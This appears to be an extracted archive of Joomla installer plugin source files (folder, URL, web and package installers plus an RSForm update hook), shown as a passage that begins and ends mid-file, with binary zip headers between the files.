 * @subpackage  Installer.folderinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

$app = JFactory::getApplication('administrator');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonfolder = function()
	{
		var form = document.getElementById("adminForm");

		// do field validation 
		if (form.install_directory.value == "")
		{
			alert("' . JText::_('PLG_INSTALLER_FOLDERINSTALLER_NO_INSTALL_PATH', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			form.installtype.value = "folder"
			form.submit();
		}
	};
');
?>
<legend><?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></legend>
<div class="control-group">
	<label for="install_directory" class="control-label"><?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_TEXT'); ?></label>
	<div class="controls">
		<input type="text" id="install_directory" name="install_directory" class="span5 input_box" size="70"
			value="<?php echo $app->input->get('install_directory', $app->get('tmp_path')); ?>" />
	</div>
</div>
<div class="form-actions">
	<input type="button" class="btn btn-primary" id="installbutton_directory"
		value="<?php echo JText::_('PLG_INSTALLER_FOLDERINSTALLER_BUTTON'); ?>" onclick="Joomla.submitbuttonfolder()" />
</div>
PK�(]�)haa'installer/urlinstaller/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.urlinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonurl = function()
	{
		var form = document.getElementById("adminForm");

		JoomlaInstaller.showLoading();
		form.installtype.value = "url"
		form.submit();
	};
');
?>
<legend><?php echo JText::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></legend>
<div class="control-group">
	<label for="install_url" class="control-label"><?php echo JText::_('PLG_INSTALLER_URLINSTALLER_TEXT'); ?></label>
	<div class="controls">
		<input type="text" id="install_url" name="install_url" class="span5 input_box" size="70" placeholder="https://"/>
	</div>
</div>
<div class="form-actions">
	<input type="button" class="btn btn-primary" id="installbutton_url"
		value="<?php echo JText::_('PLG_INSTALLER_URLINSTALLER_BUTTON'); ?>" onclick="Joomla.submitbuttonurl()" />
</div>
PK�(]d�,,'installer/urlinstaller/urlinstaller.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.6" type="plugin" group="installer">
	<name>PLG_INSTALLER_URLINSTALLER</name>
	<author>Joomla! Project</author>
	<creationDate>May 2016</creationDate>
	<copyright>(C) 2016 Open Source Matters, Inc.</copyright>
	<license>GNU General Public License version 2 or later; see LICENSE.txt</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>3.6.0</version>
	<description>PLG_INSTALLER_URLINSTALLER_PLUGIN_XML_DESCRIPTION</description>

	<files>
		<filename plugin="urlinstaller">urlinstaller.php</filename>
	</files>

	<languages>
		<language tag="en-GB">en-GB.plg_installer_urlinstaller.ini</language>
		<language tag="en-GB">en-GB.plg_installer_urlinstaller.sys.ini</language>
	</languages>
</extension>
PK�(],�/���'installer/urlinstaller/urlinstaller.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.urlinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */
defined('_JEXEC') or die;

/**
 * UrlFolderInstaller Plugin.
 *
 * @since  3.6.0
 */
class PlgInstallerUrlInstaller extends JPlugin
{
	/**
	 * Load the language file on instantiation.
	 *
	 * @var    boolean
	 * @since  3.6.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Textfield or Form of the Plugin.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   3.6.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab            = array();
		$tab['name']    = 'url';
		$tab['label']   = JText::_('PLG_INSTALLER_URLINSTALLER_TEXT');

		// Render the input
		ob_start();
		include JPluginHelper::getLayoutPath('installer', 'urlinstaller');
		$tab['content'] = ob_get_clean();

		return $tab;
	}
}
PK�(]��ĸ88installer/rsform/index.htmlnu�[���<html><head><title></title></head><body></body></html>
PK�(]��installer/rsform/rsform.phpnu�[���<?php
/**
* @package RSForm! Pro
* @copyright (C) 2015 www.rsjoomla.com
* @license GPL, http://www.gnu.org/copyleft/gpl.html
*/

defined('_JEXEC') or die;

class plgInstallerRSForm extends JPlugin
{
	public function onInstallerBeforePackageDownload(&$url, &$headers)
	{
		$uri 	= JUri::getInstance($url);
		$parts 	= explode('/', $uri->getPath());
		
		if ($uri->getHost() == 'www.rsjoomla.com' && (in_array('com_rsform', $parts) || in_array('plg_rsform_plugins', $parts))) {
			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/config.php')) {
				return;
			}
			
			if (!file_exists(JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php')) {
				return;
			}
			
			// Load our config
			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/config.php';
			
			// Load our version
			require_once JPATH_ADMINISTRATOR.'/components/com_rsform/helpers/version.php';
			
			// Load language
			JFactory::getLanguage()->load('plg_installer_rsform');
			
			// Get the version
			$version = new RSFormProVersion;
			
			// Get the update code
			$code = RSFormProConfig::getInstance()->get('global.register.code');
			
			// No code added
			if (!strlen($code)) {
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_INSTALLER_RSFORM_MISSING_UPDATE_CODE'), 'warning');
				return;
			}
			
			// Code length is incorrect
			if (strlen($code) != 20) {
				JFactory::getApplication()->enqueueMessage(JText::_('PLG_INSTALLER_RSFORM_INCORRECT_CODE'), 'warning');
				return;
			}
			
			// Compute the update hash			
			$uri->setVar('hash', md5($code.$version->key));
			$uri->setVar('domain', JUri::getInstance()->getHost());
			$uri->setVar('code', $code);
			$url = $uri->toString();
		}
	}
}
PK�(]?��installer/rsform/rsform.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="2.5" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_rsform</name>
	<creationDate>July 2015</creationDate>
	<author>RSJoomla!</author>
	<authorEmail>support@rsjoomla.com</authorEmail>
	<authorUrl>https://www.rsjoomla.com</authorUrl>
	<copyright>(c) 2015 www.rsjoomla.com</copyright>
	<license>http://www.gnu.org/copyleft/gpl.html GNU/GPL</license> 
	<version>1.0.0</version>
	<description>PLG_INSTALLER_RSFORM_XML_DESCRIPTION</description>

	<updateservers>
        <server type="extension" priority="1" name="Installer - RSForm! Pro">https://www.rsjoomla.com/updates/com_rsform/Other/plg_installer.xml</server>
    </updateservers>

	<files>
		<filename plugin="rsform">rsform.php</filename>
		<filename>index.html</filename>
	</files>
	<languages folder="language">
		<language tag="en-GB">en-GB/en-GB.plg_installer_rsform.ini</language>
		<language tag="en-GB">en-GB/en-GB.plg_installer_rsform.sys.ini</language>
	</languages>
</extension>PK�(]�a�'installer/webinstaller/webinstaller.xmlnu�[���<?xml version="1.0" encoding="utf-8"?>
<extension version="3.2" type="plugin" group="installer" method="upgrade">
	<name>plg_installer_webinstaller</name>
	<author>Joomla! Project</author>
	<creationDate>28 April 2017</creationDate>
	<copyright>Copyright (C) 2013 - 2019 Open Source Matters. All rights reserved.</copyright>
	<license>http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL</license>
	<authorEmail>admin@joomla.org</authorEmail>
	<authorUrl>www.joomla.org</authorUrl>
	<version>2.1.2</version>
	<description>PLG_INSTALLER_WEBINSTALLER_XML_DESCRIPTION</description>
	<files>
		<folder>tmpl</folder>
		<filename plugin="webinstaller">webinstaller.php</filename>
	</files>
	<media destination="plg_installer_webinstaller" folder="media">
		<folder>css</folder>
		<folder>js</folder>
	</media>
	<scriptfile>webinstaller.script.php</scriptfile>
	<updateservers>
		<server type="extension" priority="1" name="WebInstaller Update Site">https://appscdn.joomla.org/webapps/jedapps/webinstaller.xml</server>
	</updateservers>
</extension>
PK�(])�H]��&installer/webinstaller/tmpl/hathor.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div class="clr"></div>
<fieldset class="uploadform">
	<legend><?php echo Text::_('COM_INSTALLER_INSTALL_FROM_WEB', true); ?></legend>
	<div id="jed-container"<?php echo $dir; ?>>
		<div id="mywebinstaller" style="display:none">
			<a href="#"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_LOAD_APPS'); ?></a>
		</div>
		<div class="well" id="web-loader" style="display:none">
			<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
		</div>
		<div class="alert alert-error" id="web-loader-error" style="display:none">
			<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
		</div>
	</div>
	<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
		<div class="control-group">
			<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
			<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
			<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
		</div>
		<div class="form-actions">
			<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
			<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
		</div>
	</fieldset>
</fieldset>
PK�(]i���yy'installer/webinstaller/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Language\Text;

/** @var PlgInstallerWebinstaller $this */

$installfrom = $this->getInstallFrom();

?>

<div id="jed-container" class="tab-pane">
	<div class="well" id="web-loader">
		<h2><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING'); ?></h2>
	</div>
	<div class="alert alert-error" id="web-loader-error" style="display:none">
		<a class="close" data-dismiss="alert">×</a><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_LOADING_ERROR'); ?>
	</div>
</div>

<fieldset class="uploadform" id="uploadform-web" style="display:none" dir="ltr">
	<div class="control-group">
		<strong><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM'); ?></strong><br />
		<span id="uploadform-web-name-label"><?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_NAME'); ?>:</span> <span id="uploadform-web-name"></span><br />
		<?php echo Text::_('COM_INSTALLER_WEBINSTALLER_INSTALL_WEB_CONFIRM_URL'); ?>: <span id="uploadform-web-url"></span>
	</div>
	<div class="form-actions">
		<input type="button" class="btn btn-primary" value="<?php echo Text::_('COM_INSTALLER_INSTALL_BUTTON'); ?>" onclick="Joomla.submitbutton<?php echo $installfrom != '' ? 4 : 5; ?>()" />
		<input type="button" class="btn btn-secondary" value="<?php echo Text::_('JCANCEL'); ?>" onclick="Joomla.installfromwebcancel()" />
	</div>
</fieldset>
PK�(]u�d��'installer/webinstaller/webinstaller.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

use Joomla\CMS\Application\CMSApplication;
use Joomla\CMS\Factory;
use Joomla\CMS\Form\Rule\UrlRule;
use Joomla\CMS\HTML\HTMLHelper;
use Joomla\CMS\Installer\Installer;
use Joomla\CMS\Language\Text;
use Joomla\CMS\Plugin\CMSPlugin;
use Joomla\CMS\Plugin\PluginHelper;
use Joomla\CMS\Uri\Uri;
use Joomla\CMS\Version;

/**
 * Support for the "Install from Web" tab
 *
 * @since  1.0
 */
class PlgInstallerWebinstaller extends CMSPlugin
{
	/**
	 * The URL for the remote server.
	 *
	 * @var    string
	 * @since  2.0
	 */
	const REMOTE_URL = 'https://appscdn.joomla.org/webapps/';

	/**
	 * The application object.
	 *
	 * @var    CMSApplication
	 * @since  2.0
	 */
	protected $app;

	/**
	 * Affects constructor behavior. If true, language files will be loaded automatically.
	 *
	 * @var    boolean
	 * @since  2.0
	 */
	protected $autoloadLanguage = true;

	/**
	 * Flag tracking whether the Hathor admin template is in use
	 *
	 * @var    boolean|null
	 * @since  1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	private $_hathor = null;

	/**
	 * The URL to install from
	 *
	 * @var    string|null
	 * @since  1.0
	 */
	private $installfrom = null;

	/**
	 * Event listener for the `onInstallerBeforeDisplay` event.
	 *
	 * @param   boolean  $showJedAndWebInstaller  Flag indicating the install from web prompt should be displayed
	 *
	 * @return  void
	 *
	 * @since   1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	public function onInstallerBeforeDisplay(&$showJedAndWebInstaller)
	{
		$showJedAndWebInstaller = false;
	}

	/**
	 * Event listener for the `onInstallerAddInstallationTab` event.
	 *
	 * @return  array  Returns an array with the tab information
	 *
	 * @since   2.0
	 */
	public function onInstallerAddInstallationTab()
	{
		$tab = array(
			'name'  => 'web',
			'label' => Text::_('COM_INSTALLER_INSTALL_FROM_WEB'),
		);

		// Render the input
		ob_start();
		include PluginHelper::getLayoutPath('installer', 'webinstaller', $this->isHathor() ? 'hathor' : 'default');
		$tab['content'] = ob_get_clean();

		return $tab;
	}

	/**
	 * Event listener for the `onBeforeCompileHead` event.
	 *
	 * @return  void
	 *
	 * @since   2.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 * @note        This is required to ensure the plugin JS is appended after the tabs are initialized,
	 *              logic would otherwise be in the `onInstallerAddInstallationTab` listener
	 */
	public function onBeforeCompileHead()
	{
		$installfrom = $this->getInstallFrom();

		// Push language strings to the JavaScript store
		Text::script('COM_INSTALLER_MSG_INSTALL_ENTER_A_URL');
		Text::script('COM_INSTALLER_WEBINSTALLER_INSTALL_OBSOLETE');
		Text::script('COM_INSTALLER_WEBINSTALLER_INSTALL_UPDATE_AVAILABLE');
		Text::script('JLIB_INSTALLER_UPDATE');
		Text::script('PLG_INSTALLER_WEBINSTALLER_CANNOT_INSTALL_EXTENSION_IN_PLUGIN');
		Text::script('PLG_INSTALLER_WEBINSTALLER_REDIRECT_TO_EXTERNAL_SITE_TO_INSTALL');

		HTMLHelper::_('bootstrap.framework');
		HTMLHelper::_('script', 'plg_installer_webinstaller/client.min.js', array('version' => 'auto', 'relative' => true));
		HTMLHelper::_('stylesheet', 'plg_installer_webinstaller/client.min.css', array('version' => 'auto', 'relative' => true));

		$devLevel = Version::PATCH_VERSION;
		$extraVer = Version::EXTRA_VERSION;

		if (!empty($extraVer))
		{
			$devLevel .= '-' . $extraVer;
		}

		$installer = new Installer;
		$manifest  = $installer->isManifest(__DIR__ . '/webinstaller.xml');

		$doc = Factory::getDocument();

		$doc->addScriptOptions(
			'plg_installer_webinstaller',
			array(
				'base_url'        => addslashes(self::REMOTE_URL),
				'installat_url'   => base64_encode(Uri::current() . '?option=com_installer&view=install'),
				'installfrom_url' => addslashes($installfrom),
				'product'         => base64_encode(Version::PRODUCT),
				'release'         => base64_encode(Version::MAJOR_VERSION . '.' . Version::MINOR_VERSION),
				'dev_level'       => base64_encode($devLevel),
				'installfromon'   => $installfrom ? 1 : 0,
				'language'        => base64_encode(Factory::getLanguage()->getTag()),
				// The below options are deprecated and removed when the plugin is merged to 4.0
				'is_hathor'       => $this->isHathor() ? 1 : 0,
				'pv'              => base64_encode($manifest->version),
			)
		);

		$javascript = <<<JS
jQuery(document).ready(function () {
    var ifwOptions = Joomla.getOptions('plg_installer_webinstaller', {});
    var ifwLink = jQuery('#myTabTabs').find('li a[href="#web"]');
    var ifwRelativeSelector = 'li';

	if (ifwOptions.is_hathor) {
		jQuery('#mywebinstaller').show();
		ifwLink = jQuery('#mywebinstaller').find('a');
		ifwRelativeSelector = 'a';
	}

	if (ifwOptions.installfromon) {
		ifwLink.click();
	}

	if (!ifwOptions.is_hathor && ifwLink.closest('li').hasClass('active')) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	}

	ifwLink.closest(ifwRelativeSelector).click(function (event) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	});

	if (ifwOptions.installfrom_url !== '') {
	    ifwLink.closest(ifwRelativeSelector).click();
	}

	ifwLink.on('shown', function (e) {
		if (!Joomla.apps.loaded) {
			Joomla.apps.initialize();
		}
	});
});

		
JS;
		$doc->addScriptDeclaration($javascript);
	}

	/**
	 * Internal check to determine if the Hathor admin template is in use
	 *
	 * @return  boolean
	 *
	 * @since   1.0
	 * @deprecated  Removed when the plugin is merged to 4.0
	 */
	private function isHathor()
	{
		if (is_null($this->_hathor))
		{
			$this->_hathor = strtolower($this->app->getTemplate()) === 'hathor';
		}

		return $this->_hathor;
	}

	/**
	 * Get the install from URL
	 *
	 * @return  string
	 *
	 * @since   1.0
	 */
	private function getInstallFrom()
	{
		if ($this->installfrom === null)
		{
			$installfrom = base64_decode($this->app->input->getBase64('installfrom', ''));

			$field = new SimpleXMLElement('<field></field>');
			$rule  = new UrlRule;

			if ($rule->test($field, $installfrom) && preg_match('/\.xml\s*$/', $installfrom))
			{
				$update = new Update;
				$update->loadFromXML($installfrom);
				$package_url = trim($update->get('downloadurl', false)->_data);

				if ($package_url)
				{
					$installfrom = $package_url;
				}
			}

			$this->installfrom = $installfrom;
		}

		return $this->installfrom;
	}
}
PK�(]O�,,.installer/webinstaller/webinstaller.script.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.webinstaller
 *
 * @copyright   Copyright (C) 2013 - 2019 Open Source Matters, Inc. All rights reserved.
 * @license     GNU General Public License version 2 or later; see LICENSE
 */

defined('_JEXEC') or die;

// If the minimum PHP version constant hasn't been defined (really old Joomla version), set it now
if (!defined('JOOMLA_MINIMUM_PHP'))
{
	// Minimum as of Joomla! 3.3
	define('JOOMLA_MINIMUM_PHP', '5.3.10');
}

// Stub the JInstallerScript class for older versions to perform the minimum required checks
if (!class_exists('JInstallerScript'))
{
	/**
	 * Base install script for use by extensions providing helper methods for common behaviours.
	 *
	 * @since  3.6
	 */
	class JInstallerScript
	{
		/**
		 * Minimum PHP version required to install the extension
		 *
		 * @var    string
		 * @since  3.6
		 */
		protected $minimumPhp;

		/**
		 * Minimum Joomla! version required to install the extension
		 *
		 * @var    string
		 * @since  3.6
		 */
		protected $minimumJoomla;

		/**
		 * Function called before extension installation/update/removal procedure commences
		 *
		 * @param   string             $type    The type of change (install, update or discover_install, not uninstall)
		 * @param   JInstallerAdapter  $parent  The class calling this method
		 *
		 * @return  boolean  True on success
		 *
		 * @since   3.6
		 */
		public function preflight($type, $parent)
		{
			// Check for the minimum PHP version before continuing
			if (!empty($this->minimumPhp) && version_compare(PHP_VERSION, $this->minimumPhp, '<'))
			{
				JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_PHP', $this->minimumPhp), JLog::WARNING, 'jerror');

				return false;
			}

			// Check for the minimum Joomla version before continuing
			if (!empty($this->minimumJoomla) && version_compare(JVERSION, $this->minimumJoomla, '<'))
			{
				JLog::add(JText::sprintf('JLIB_INSTALLER_MINIMUM_JOOMLA', $this->minimumJoomla), JLog::WARNING, 'jerror');

				return false;
			}

			// Theoretically we should not reach this line in this stub because triggering it means we aren't matching the minimum Joomla version
			return true;
		}
	}
}

/**
 * Support for the "Install from Web" tab
 *
 * @since  1.0
 */
class plginstallerwebinstallerInstallerScript extends JInstallerScript
{
	/**
	 * A list of files to be deleted
	 *
	 * @var    array
	 * @since  2.0
	 */
	protected $deleteFiles = array(
		'/plugins/installer/webinstaller/css/client.css',
		'/plugins/installer/webinstaller/css/client.min.css',
		'/plugins/installer/webinstaller/css/index.html',
		'/plugins/installer/webinstaller/index.html',
		'/plugins/installer/webinstaller/js/client.js',
		'/plugins/installer/webinstaller/js/client.min.js',
	);

	/**
	 * A list of folders to be deleted
	 *
	 * @var    array
	 * @since  2.0
	 */
	protected $deleteFolders = array(
		'/plugins/installer/webinstaller/css',
		'/plugins/installer/webinstaller/js',
	);

	/**
	 * Minimum PHP version required to install the extension
	 *
	 * @var    string
	 * @since  2.0
	 */
	protected $minimumPhp = JOOMLA_MINIMUM_PHP;

	/**
	 * Minimum Joomla! version required to install the extension
	 *
	 * @var    string
	 * @since  2.0
	 */
	protected $minimumJoomla = '3.9';

	/**
	 * Function called before extension installation/update/removal procedure commences
	 *
	 * @param   string             $type    The type of change (install, update or discover_install, not uninstall)
	 * @param   JInstallerAdapter  $parent  The class calling this method
	 *
	 * @return  boolean  True on success
	 *
	 * @since   3.6
	 */
	public function preflight($type, $parent)
	{
		if (!parent::preflight($type, $parent))
		{
			return false;
		}

		// Disallow installs on 4.0 as the plugin is part of core
		if (version_compare(JVERSION, '4.0', '>='))
		{
			JLog::add(JText::_('PLG_INSTALLER_WEBINSTALLER_ERROR_PLUGIN_INCLUDED_IN_CORE'), JLog::WARNING, 'jerror');

			return false;
		}

		return true;
	}

	/**
	 * Function called after extension installation/update/removal procedure commences
	 *
	 * @param   string            $route    The action being performed
	 * @param   JInstallerPlugin  $adapter  The class calling this method
	 *
	 * @return  void
	 *
	 * @since   1.0
	 */
	public function postflight($route, $adapter)
	{
		// When initially installing the plugin, enable it as well
		if ($route === 'install')
		{
			try
			{
				$db = JFactory::getDbo();
				$db->setQuery(
					$db->getQuery(true)
						->update($db->quoteName('#__extensions'))
						->set($db->quoteName('enabled') . ' = 1')
						->where($db->quoteName('type') . ' = ' . $db->quote('plugin'))
						->where($db->quoteName('element') . ' = ' . $db->quote('webinstaller'))
				)->execute();
			}
			catch (RuntimeException $e)
			{
				// Don't let this fatal out the install process, proceed as normal from here
			}
		}
	}
}
PK�(]��q$q$+installer/packageinstaller/tmpl/default.phpnu�[���<?php
/**
 * @package     Joomla.Plugin
 * @subpackage  Installer.packageinstaller
 *
 * @copyright   (C) 2016 Open Source Matters, Inc. <https://www.joomla.org>
 * @license     GNU General Public License version 2 or later; see LICENSE.txt
 */

defined('_JEXEC') or die;

JHtml::_('bootstrap.tooltip');
JHtml::_('jquery.token');

JText::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN');
JText::script('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY');
JText::script('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG');

JFactory::getDocument()->addScriptDeclaration('
	Joomla.submitbuttonpackage = function()
	{
		var form = document.getElementById("adminForm");

		// do field validation 
		if (form.install_package.value == "")
		{
			alert("' . JText::_('PLG_INSTALLER_PACKAGEINSTALLER_NO_PACKAGE', true) . '");
		}
		else if (form.install_package.files[0].size > form.max_upload_size.value)
		{
			alert("' . JText::_('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG', true) . '");
		}
		else
		{
			JoomlaInstaller.showLoading();
			form.installtype.value = "upload"
			form.submit();
		}
	};
');

// Drag and Drop installation scripts
$token = JSession::getFormToken();
$return = JFactory::getApplication()->input->getBase64('return');

// Drag-drop installation
JFactory::getDocument()->addScriptDeclaration(
<<<JS
	jQuery(document).ready(function($) {
		if (typeof FormData === 'undefined') {
			$('#legacy-uploader').show();
			$('#uploader-wrapper').hide();
			return;
		}

		var uploading   = false;
		var dragZone    = $('#dragarea');
		var fileInput   = $('#install_package');
		var fileSizeMax = $('#max_upload_size').val();
		var button      = $('#select-file-button');
		var url         = 'index.php?option=com_installer&task=install.ajax_upload';
		var returnUrl   = $('#installer-return').val();
		var actions     = $('.upload-actions');
		var progress    = $('.upload-progress');
		var progressBar = progress.find('.bar');
		var percentage  = progress.find('.uploading-number');

		if (returnUrl) {
			url += '&return=' + returnUrl;
		}

		button.on('click', function(e) {
			fileInput.click();
		});

		fileInput.on('change', function (e) {
			if (uploading) {
				return;
			}

			Joomla.submitbuttonpackage();
		});

		dragZone.on('dragenter', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.addClass('hover');

			return false;
		});

		// Notify user when file is over the drop area
		dragZone.on('dragover', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.addClass('hover');

			return false;
		});

		dragZone.on('dragleave', function(e) {
			e.preventDefault();
			e.stopPropagation();
			dragZone.removeClass('hover');

			return false;
		});

		dragZone.on('drop', function(e) {
			e.preventDefault();
			e.stopPropagation();

			dragZone.removeClass('hover');

			if (uploading) {
				return;
			}

			var files = e.originalEvent.target.files || e.originalEvent.dataTransfer.files;

			if (!files.length) {
				return;
			}

			var file = files[0];

			var data = new FormData;

			if (file.size > fileSizeMax) {
				alert(Joomla.JText._('COM_INSTALLER_MSG_WARNINGS_UPLOADFILETOOBIG'), true);
				return;
			}

			data.append('install_package', file);
			data.append('installtype', 'upload');

			dragZone.attr('data-state', 'uploading');
			uploading = true;

			$.ajax({
				url: url,
				data: data,
				type: 'post',
				processData: false,
				cache: false,
				contentType: false,
				xhr: function () {
					var xhr = new window.XMLHttpRequest();

					progressBar.css('width', 0);
					progressBar.attr('aria-valuenow', 0);
					percentage.text(0);

					// Upload progress
					xhr.upload.addEventListener("progress", function (evt) {
						if (evt.lengthComputable) {
							var percentComplete = evt.loaded / evt.total;
							var number = Math.round(percentComplete * 100);
							progressBar.css('width', number + '%');
							progressBar.attr('aria-valuenow', number);
							percentage.text(number);

							if (number === 100) {
								dragZone.attr('data-state', 'installing');
							}
						}
					}, false);

					return xhr;
				}
			})
			.done(function (res) {
				// Handle extension fatal error
				if (!res || (!res.success && !res.data)) {
					showError(res);
					return;
				}

				// Always redirect that can show message queue from session 
				if (res.data.redirect) {
					location.href = res.data.redirect;
				} else {
					location.href = 'index.php?option=com_installer&view=install';
				}
			}).error(function (error) {
				uploading = false;

				if (error.status === 200) {
					var res = error.responseText || error.responseJSON;
					showError(res);
				} else {
					showError(error.statusText);
				}
			});

			function showError(res) {
				dragZone.attr('data-state', 'pending');

				var message = Joomla.JText._('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_UNKNOWN');

				if (res == null) {
					message = Joomla.JText._('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_ERROR_EMPTY');
				} else if (typeof res === 'string') {
					// Let's remove unnecessary HTML
					message = res.replace(/(<([^>]+)>|\s+)/g, ' ');
				} else if (res.message) {
					message = res.message;
				}

				Joomla.renderMessages({error: [message]});
			}
		});
	});
JS
);

JFactory::getDocument()->addStyleDeclaration(
<<<CSS
	#dragarea {
		background-color: #fafbfc;
		border: 1px dashed #999;
		box-sizing: border-box;
		padding: 5% 0;
		transition: all 0.2s ease 0s;
		width: 100%;
	}

	#dragarea p.lead {
		color: #999;
	}

	#upload-icon {
		font-size: 48px;
		width: auto;
		height: auto;
		margin: 0;
		line-height: 175%;
		color: #999;
		transition: all .2s;
	}

	#dragarea.hover {
		border-color: #666;
		background-color: #eee;
	}

	#dragarea.hover #upload-icon,
	#dragarea p.lead {
		color: #666;
	}

	 .upload-progress, .install-progress {
		width: 50%;
		margin: 5px auto;
	 }

	/* Default transition (.3s) is too slow, progress will not run to 100% */
	.upload-progress .progress .bar {
		-webkit-transition: width .1s;
		-moz-transition: width .1s;
		-o-transition: width .1s;
		transition: width .1s;
	}

	#dragarea[data-state=pending] .upload-progress {
		display: none;
	}

	#dragarea[data-state=pending] .install-progress {
		display: none;
	}

	#dragarea[data-state=uploading] .install-progress {
		display: none;
	}

	#dragarea[data-state=uploading] .upload-actions {
		display: none;
	}

	#dragarea[data-state=installing] .upload-progress {
		display: none;
	}

	#dragarea[data-state=installing] .upload-actions {
		display: none;
	}
CSS
);

$maxSizeBytes = JFilesystemHelper::fileUploadMaxSize(false);
$maxSize = JHtml::_('number.bytes', $maxSizeBytes);
?>
<legend><?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOAD_INSTALL_JOOMLA_EXTENSION'); ?></legend>

<div id="uploader-wrapper">
	<div id="dragarea" data-state="pending">
		<div id="dragarea-content" class="text-center">
			<p>
				<span id="upload-icon" class="icon-upload" aria-hidden="true"></span>
			</p>
			<div class="upload-progress">
				<div class="progress progress-striped active">
					<div class="bar bar-success"
						style="width: 0;"
						role="progressbar"
						aria-valuenow="0"
						aria-valuemin="0"
						aria-valuemax="100"
					></div>
				</div>
				<p class="lead">
					<span class="uploading-text">
						<?php echo JText::_('PLG_INSTALLER_PACKAGEINSTALLER_UPLOADING'); ?>
					</span>
					<span class="uploading-number">0</span><span class="uploading-symbol">%</span>
				</p>
			</div>
			<div class="install-progress">
				<div class="progress progress-striped active">
					<div class="bar" style="width: 100%;"></div>
				</div>
				<p class="lead">
					<span class="installing-text">
